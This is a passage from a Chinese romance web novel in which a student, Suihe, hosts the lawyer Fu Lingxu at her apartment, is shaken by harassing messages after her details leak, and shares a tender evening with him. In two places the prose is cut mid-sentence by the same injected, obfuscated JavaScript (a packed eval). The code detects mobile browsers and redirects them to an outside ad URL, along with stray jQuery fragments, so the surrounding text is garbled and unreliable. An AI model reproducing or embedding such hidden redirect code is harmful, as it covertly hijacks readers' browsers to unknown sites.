穗和就又重复了一遍,轻轻用力,却一霎时被傅令絮握住了手腕,将她往自己身前一带,避开即将撞上的木制蔷薇栏杆,“我发现你就没法儿好好走路。” 穗和也不纠缠之前的问题。 只是故意往更暧昧的方向接话,“嗯,可是不是有你在旁边看着嘛?” “我能给你看几天路?” 纵然是看一辈子,也没办法时时刻刻看着。 但这句话传到穗和耳朵里,她连一个牵强的笑容都挤不出来,任何话题都往火车迟早开往春天上想,心跳被这句不冷不淡的话攫取。 她干涩的眨了眨眼睛,“有一天算一天行不行?” 傅令絮说完才察觉她的情绪有所变化,大概是又想到他要走这件事了。 穗和忽然侧过头,定定地看着他,“律师应该很会说话啊。” “分人。”傅令絮平声说,“工作需要,大部分可能是这样。” “那你呢?” 傅令絮望了眼四周,拧了下眉,肉眼可见的开始觉得头疼。 “哦。”穗和也不甘示弱地看他一眼,没有坚持要一个答案。迈着步子往酒店方向走,利索、坚定了许多,“您反正也不想跟我聊天,那我们就快点走吧。” / 放下行李,办好入住,如同穗和所说,这是一家华人经营的酒吧旅馆,没什么人在,都是年轻的面孔对视着,桌面摊开几本书,但摊开手时更像在算命。 外表一般,门口也很狭窄,但是内里装饰精致,随处可见经营者的私藏。 傅令絮没多待,几乎全程自助服务,站在门外逡巡了一周,就领着穗和往外走。她家住得不远,三层楼的独栋,房东带着一只狗占据了一层。 二层是三个高中生并排租住,三层只有两个房间。 均为一室独卫无厅的构造,一头一尾住着两个中国留学生。 穗和摸黑打开门。 房间入眼时十分整洁,双人床挨着窗户和墙壁,有两层阶梯,铺着柔软毛毯的地方视作客厅,放置一个木制小圆桌。 橱柜在房间另一侧的墙壁上,尽可能远离着卧室,锅碗瓢盆一应俱全。 穗和打开窗户先透透风。 她先烧了一壶热水,想起来这两周都没在家,站在客厅木椅子上拨开电表箱,想看看是否还有电费,然后回头随意问傅令絮,“你饿了吗?我可以用火锅底料先给你煮个面垫垫肚子,国内寄来的,平时我都舍不得吃。” 不等傅令絮回答,她情绪又一次陷入低谷,嘴里念着,“不对,是我不能回国,又不是你,你想吃回国就可以吃到正宗的啦。” “我还好。” 穗和更轻地“哦”了一句,“那我就少煮一点吧,是我自己想吃……” 傅令絮仍站在门口。 他面前摆了一双灰色的男士拖鞋,与她脚上穿的是一对,看起来不像新的,他没有丝毫要擅自换鞋的举动,眼底的黯淡也缓缓浮现。 穗和从椅子上跳下来,恍然似的给他提醒,“那双别穿!” 傅令絮冷淡地站在原地,眼神丝毫不往上落。 穗和嘴里说着:“那双是因为我一个人……” 傅令絮出声打断,“有别的吗?” “嗯……”穗和没多在意,光着脚走到门边,蹲下身从玄关柜里取出一双全新的棉拖鞋,跟她脚上那双同款同色,“这双是全新的,很暖和,很舒服。” 见她弯腰细心的想放在自己脚步,傅令絮也立即躬下身从她手里接过。 “谢谢。” “没关系。” 傅令絮道谢时,已经躬下身,准备换鞋。 穗和也乖巧地绕到他旁边,伸手在自己的衣服上蹭了蹭。 然后将他身后的房门轻轻带上,锁好。锁芯落下那一下清脆的声音,像是禁止暧昧流窜,空间变得更加温馨和狭小,让她脸上莫名一热。 穗和为此走神,“啊”了一声,才赶紧解释:“哦,那个,我大部分时间是一个人住。因为我姐姐嫌宿舍环境不好,男女混住,不让我住宿舍,才就近选了公寓。” 傅令絮肆意地重复,让她听清,“大部分时间。” “难免偶尔有朋友来嘛。” “嗯。”傅令絮没有随意大量整个房间,只是朝她身后努嘴,“水。” “哦——对,水应该烧开了。”穗和局促地挥着手,“那您自便,客厅电视、游戏机都可以用,我来做几个菜,很快的。” 刚一转身就发觉身后有人影从她头顶笼罩过来,将她包裹,以一种影子交融的拥抱让人此刻只能听到起伏不定的呼吸声。 穗和正在犹豫要不要回头。 人影已经偏下去,让她整个人又重新显露在明亮的灯光里。 她微微吃惊地偏下头,发觉傅令絮已经半蹲在她脚边,手里正替她摆正拖鞋,她几乎是下意识将脚背绕到了另一条腿后,羞赧躲藏着。 “怎、怎么了?” “把鞋穿好。” 这让她想起在警察局狼狈走丢的那晚,傅令絮也是这样送了她一双高跟鞋。就算不细想月光落在他脸上的神情,她也能在心底描绘他眼神的温柔。 不能再想这些了…… 穗和几乎控制不了自己的心跳,赶紧并拢腿蹲下去,“我自己来!” 傅令絮没好气的看她一眼,将毛绒拖鞋抽开,拿远,捏紧在手里。 知道他没有要退让的意思,穗和才捋着头发站起来,“……又不冷。” 她伸脚穿进去,只能看到傅令絮的头顶,看不见他此刻的表情,但他的动作很轻柔,知道他扬起脸似笑非笑地说着,“你到底几岁?” “十八岁,早就成年了好吧。” 傅令絮站起来,轻叹了口气说,“看着不像。” 穗和闷闷出声,“我发现了,您变着法子骂我幼稚。” 傅令絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164975|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她一眼,无奈地耸了下眉,“不幼稚,只是跟小朋友一样不省心。” 她脱了大衣,喜欢穿紧身针织裙,头发没有专门打理过,跟他用的是一样普通的酒店吹风机,却能吹得蓬松随意,随便被她半束半落在脑后,比松散着反而多了一些风情,她不用化太多的妆,只有唇色比石榴还莹亮。 只停留几秒,傅令絮便挪开眼,拉了一下她的胳膊,让她让开路。 不再继续刚刚的无聊话题。 见到傅令絮装好热水,又伸手打开水龙头,穗和才反应过来他准备做饭,挽起袖子迎上去,“我来吧,说好的我做饭。” “没有让小朋友请客又亲自下厨的道理。” “算这么清楚……”穗和咕哝着收回手,装作满不在意地往客厅走,准备打开视频当做背景音,“又不是要跟你AA,你下次请回来就好了啊。” 水声汩汩,傅令絮说:“下次是下次。” 她没听清这句,只是随口问,“您什么时候学会做饭的呀?” 说完顺手把电视打开,吵闹的脱口秀声音此起彼伏,傅令絮也没听见。 没有得到对话的机会,随意开启不了任何话题。穗和叹了口气,只是怨念地回头看了一眼,心情怎么也好不起来,总觉得这是他们之间的最后一顿晚餐。 电视节目变成了聒噪又无趣的背景音。 穗和一个字也没听进去,索性拿了手机面对着傅令絮的方向坐在床边。 手机频繁亮起。 按照这个频率,以及穗和屏蔽群聊的习惯,这些噼里啪啦带声响的信息不是陈闻鸢发来的,就是其他几个关系好的女同学发来的。 没当回事,只是随手从床单上捞起手机,点开We|Chat,除了一下子多了几十位新好友添加信息外,没有其他私发内容。 穗和来不及去细想,皱着眉又点开了已经变成三个省略红点的Message。 ………… ——宝贝你忘记我是谁了吗?可是我还记得你。 ——How much?I am serious and……healthy!call me, call me。 (多少钱?我是认真的……而且我很健康,记得打电话给我。) ………… ——喜欢我寄给你的衣服吗?我迫不及待想看见你穿上的样子。 ——原来玩儿得这么开?没想到啊,跟我试试??? ………… ——好想舔你,今晚尤其。 ………… 手机几乎是一秒从穗和手里扔出去的。 她曾经收到过很多恶意攻击的短信,前几天也曾有过一条,她可以欺骗自己只是恶作剧、发错短信,但手机号无法造假,关联的We|Chat也遭到关系网灼烧暴|乱。 她从来没有收到过这样的信息内容。 几乎是生理性不适地呕了出来,连自己都被吓了一跳,眼睛一下子不知道看往哪里,手机也忘了立刻去捡,连傅令絮的脸映在她的双眸里时,也持续模糊,泛着白光,越想集中注意力,越觉得恐惧,越无法看清视线。 人跌入冰窖,像是分辨不清原本拥有的是尾巴还是翅膀。 人被黑暗吞噬着,直到傅令絮抬手,手指还沾着没有擦干的湿意,顺着她的额头轻触她的鼻尖,任她颓然的眨着眼,声音温柔的不像话,“怎么了?” 好一会儿,穗和才微微摇头,失神地说着:“没……” 傅令絮准备弯腰去捡地上的手机,被穗和一把抢先,踉跄着被傅令絮扶稳,她倏地抬起头,眼睛还是涣散无助的,被他握住胳膊的力道让她有了片刻清醒。 像是被一根稻草缠绕脖颈,在孱弱地呼吸着。 她想开口说话,却又迟疑了几秒,傅令絮说得对。 他能帮她看几天的路呢,能帮她穿几次鞋,这辈子又有几个人能像神明一样出现,拯救她,为她低头,为她折腰,就连游戏也不愿意让她输,比蔷薇还要浪漫。 火车就算不开往春天,也总归要进站。 她抿紧嘴唇,欲言又止地垂下脑袋,额头轻轻向前依照惯性靠在他的胸口。 轻轻喊着他的名字,连自己也不知道接下来要说什么,“傅令絮。” “嗯。” 室内只有锅里冒着新鲜食材的熟悉烟火气,只有滋滋啦啦的冒泡声,灯光明晃晃的,只照亮在他们两个人的头顶,昏暗的光圈里,傅令絮抬手举在半空中。 穗和尽力压着想哭的声音,“傅令絮……我不想跟你吃饭了……” 傅令絮以为她要说什么,须臾之间,已经伸手搂住了她的腰,低下头才能正好停在她耳边,用只能他们两个人听见的声音,温柔地问她:“不想我走?” 胸前的声音比玻璃上的水汽还要朦胧和脆弱,“我说是,你可以不走吗?” 14. 喜欢。 -13- 说完这句话,穗和胸口闷着一口不上不下的气。 她靠在傅令絮的心上,小心的呼吸着,她尝试着伸手绕到傅令絮的背后,却握紧了拳头,虚揽着碰了碰,沉慵地摇了摇头,不知道如何开口。 讲什么呢。 讲她真的不清楚为什么会有人知道她的住址和手机号,这么精准,有中文、有英文,一点恶作剧的可能性都没有,明摆着就是恶意散布了她的个人信息。 她能做什么呢,报警寻求帮助。 做笔录,被一次一次提醒——你要不然再仔细想想,最近接触过什么陌生人,跟哪位同学交恶过,去过什么地方,平时穿衣打扮是怎么样的。 甚至会问,有可能是前男友作案吗? 以最礼貌又最刻薄的方式问着——方便说一下你们的分手原因和方式吗? 和平吗?有过冲突吗? 她理解,这是工作需要。 还是讲什么呢。 告诉家人、朋友和老师,真的不清楚为什么会被陌生人骚|扰,他们安抚着、鼓励着,一边告诉她——你姐姐的女明星,流量时代,导致你也很容易被网友关注,任何一点小事情都会被放大,很遗憾,你可能没有什么真正的私生活。 他们都说相信她。 可是只是希望她不要讲此事宣扬出去,对她个人前途不好,对学校发展更不好。 他们有很多的说辞,每一条都让人信服,你没有做过你就不要太在意,既然不是你的错你就不要给自己太大压力,不然你就陷入不断自证的怪圈。 这个城市里因为网络连接在一起,盛大华灿的舞台由玻璃和钻石一起组成,没有人愿意待在观众席的暗处,哪怕像绵密的黑虫和飞蛾一样慢慢侵蚀着舞台,藏于暗地,也要说出吞下玻璃才能发光的流言。 ………… 傅令絮安静地任她这样靠着。 停了两秒,音调往下沉,哄人的语气问她:“发生什么事情了吗?” 穗和仍然小幅度地摇了一下头,不肯抬头看他,执拗地重复了一遍:“我也说不清楚,不知道为什么被喜欢,为什么被讨厌。就像我明知道你不可能一直留在这里,我还是忍不住想问,也并不知道自己想要一个什么样的答案……” “如果遇到了不开心的事情,或许可以跟我说。” “……没有,没有不开心的事情。” 傅令絮温热的吐纳擦过她的耳边,不再多问。 她看起来很瘦,搂紧才发现比预想的更纤细,他伸手沿着她的背脊线一路轻缓抚上去,停在她另一侧的肩头,握紧后用大拇指一下一下不轻不重地摩挲着。 像是温热的白开水灌入喉,再急再淡,也能以一种温柔的流淌感觉回溯。 傅令絮安慰说:“本来也不是每件事都要追究明白。” 穗和吸了下鼻子,轻声说:“你明明只是不想回答我……” 傅令絮无奈地扯了下嘴角,“我人就在这里。” 说完伸手揉了下眼皮,蹭着他的衬衫领口,微微发痒。 小动作被傅令絮捕捉,后退半步,想扶正她的肩膀看清她的脸,却被穗和手臂用力重新真正抱住他的腰,把头埋得更深,“……我没哭。” 见傅令絮没有出声,她立即松开两秒,扬起脸冲他飞快地眨了下眼睛,以示证明,“傅令絮……我真没哭,我这个人从小到大极少掉眼泪的。” 傅令絮很想揉一下她的脑袋,但是忍住了,轻笑着说,“看不出来。” “真的,我也不怎么闯祸,成绩还不错,初高中一直住校,很久才回家一趟。”穗和认真解释说,“一直还算顺利,也没什么好哭的。” 初高中距离傅令絮已经有些太久远,没什么太复杂的记忆。 只记得陈闻鸢那会儿赶通告、谈恋爱,没少拿他当掩护。 “多好。” “怎么说得好像很无奈……” 聊到正常话题,穗和没有勇气再贪恋这个拥抱,找机会松开手,悄悄沿着床边坐下去,随手抽了一个狐狸玩偶抱在胸前,下巴搭在上面,眉梢的紧迫却一直没有松懈。 傅令絮也跟着在她身边坐下,两个人面朝着冒着水汽的珐琅瓷锅,煌煌灯火,人影和灯身斜照在墙上,窗外的花藤慢悠悠地摇晃,偶尔在灯面开花。 他曲起一条腿,手肘随意地搭在膝盖上。 任由穗和低着头拿着狐狸尾巴在他的大腿上扫来扫去。 “你跟你姐读一天书就知道我在无奈什么。” 穗和羡慕的笑了一下,“你……你和我姐姐的读书时代应该过得很有意思。” “鸡飞狗跳。” “可以给我说说吗?”穗和凝视着他的侧脸片刻,“我还挺感兴趣的……” “翘课,早恋,失恋,兼职,一直循环。” “……”穗和虽然对自己姐姐轰轰烈烈的青春期早有耳闻,但很难与傅令絮这样的人联系在一起,忍不住调侃,“您也挺看不出来的……” “都跟我没关系。” “那你跟我姐姐怎么变成好朋友的?你们看起来也不太像能玩到一起去的。” “还是以工作关系为主。” 穗和“哦”了一声,想起来他说过,他跟姐夫是发小,只是帮陈闻鸢处理过解约合同。 傅令絮做思索状,斟酌着说:“也算朋友,读书那会儿没少给她打掩护。” 穗和轻笑一声,心情终于稍微放晴,“我能理解,我以前也经常在公园里等到半夜,然后再一起回家,这样家里人就不会说什么了。” 傅令絮皱了下眉,语气略带不满,“她去约会拿你当幌子?” “那也是没办法嘛,不过她也没少带我出去玩。” 傅令絮瞧她一眼,“你是傻的吗?一个人敢在公园等到大半夜。” 穗和想了两秒,重点偏移,“但是每次我们走回家的路上,她都会跟我说她约会、拍戏各种各样好玩的事情,我可爱听了!而且……公园离家也不远的,一个人待着多好。” 傅令絮能捕捉她语气里故作轻松的失落,顺着她的话题:“有这么好奇?” “有啊,当然有,小女生都喜欢听恋爱故事的吧。” 傅令絮被她的说法逗笑,“你现在也是小女生。” 穗和果断冲他伸出食指,凑到他眼皮子底下晃了晃,“现在不是了哦。” “哦。” “什么‘哦’!说了不是了……”穗和对他的敷衍反应不满意,着急坐直身体,将狐狸玩偶举起来遮挡在脸上,扑到傅令絮面前,“再敢小看我,狐狸大人要不高兴了。” 傅令絮担心她摔倒,伸手虚拦在她身侧,最终拉扯了一下狐狸玩偶的尾巴,陪她玩游戏的游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164976|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一字一顿地说:“行,这位路都走不好好走的大人,我去看看汤。” 傅令絮起身,被穗和拉住手,“什么嘛,你都没给我一些独家爆料。” “因为抢男朋友跟女同学互相扯头发这种?” “什么!”穗和无知觉地松开手,惊讶又雀跃地也跟着站起来,“还有这种故事?” “没有。” “……您怎么能说话说一半啊?”穗和气急败坏地跟在他身后,一直凑在厨房里企图给他打下手,最终被傅令絮使唤到一边端着杯白开水,先等着。 穗和也乖巧地就站在原地,挠着脑袋说话:“我姐姐跟我说过,她女生缘比较差,但是我默认是因为她长得很漂亮,没往抢男朋友上面想。” “没关注过。” “那你的女生缘应该很好哦?” 傅令絮不吱声了,他掀开锅盖,浓郁的咖喱味道飘出来,让人能够通过气味直接脑补出绵软甜辣的土豆口感。 穗和想了想,接着问:“那你都关注谁呀?总有不学习的时候吧……” 傅令絮从另一侧的锅里夹出一小块煎好的牛勒条,蘸着汤汁用掌心托底,转身让她过来尝尝,穗和听话地跳到他面前,凑过去吃了一口,长着嘴说“好吃”,又不断左右牙齿换着咀嚼,举着大拇指赞叹道:“好吃,一点、一点都不烫……” 傅令絮下意识吹了口气,对上穗和的目光。 他才发觉她一直盯着自己的嘴唇看,倏地抿紧,只见穗和心虚一般的干咽了几下喉咙,回头开始找原本他让她端好的那杯水。 傅令絮重新转过身去做菜,穗和举着杯子打量着他,忍不住啧啧两声。 这反倒引起了傅令絮的注意,他头也不回地问:“想说什么?” “原来你都听见了呀?”穗和又重新凑到他身边,抱着杯子浅啜了一口,故意揶揄他:“我还以为你没听见呢,问什么你都不回答我。” “哪句?” 穗和漫不经心地说着,顺便往里面“添油加醋”,情绪又低落下里:“问我姐姐的八卦,你读书的时候关注谁,喜欢什么样的女生,你业余时间喜欢做什么,人缘好不好啊,我觉得你一定很招同学喜欢,不管是男生,还是女生。” 傅令絮不难看出她今晚的异常,沉默地看她几秒,“我喜欢谁……” 傅令絮还没说完,被穗和捂着耳朵轻声打断,“你别告诉我——” “……” 闻声,穗和又觉得不对劲,松开手掌心短暂接收声音消息,却拧紧眉心难以自控不情愿的样子:“不对,你喜欢的人我大概率不认识,要不然我还是听一下吧……” 傅令絮关了火,打开水,洗干净手。 抽了几张干燥纸巾,擦着手走向她,露出一个意味不明的笑容,低头去寻她的眼睛,令她无法回避他的对视,他抬起双手直接覆在穗和的手上,将她的耳朵完全捂住。 手掌细腻又宽阔,几乎能包裹她的脸颊。 傅令絮擎着她的脸微微抬起,继续说他没说完的话,笃定回答她的提问:“我喜欢谁,不会藏着掖着,如果她不确信,那就是我表达的不够清楚。” 穗和望着他的眼睛,阖眼的频率都变慢,“……那她要是本来就不自信呢?” 傅令絮视线下移,手指也摩挲在她的唇上,反问道:“你怎么不问问我想怎么表达清楚?”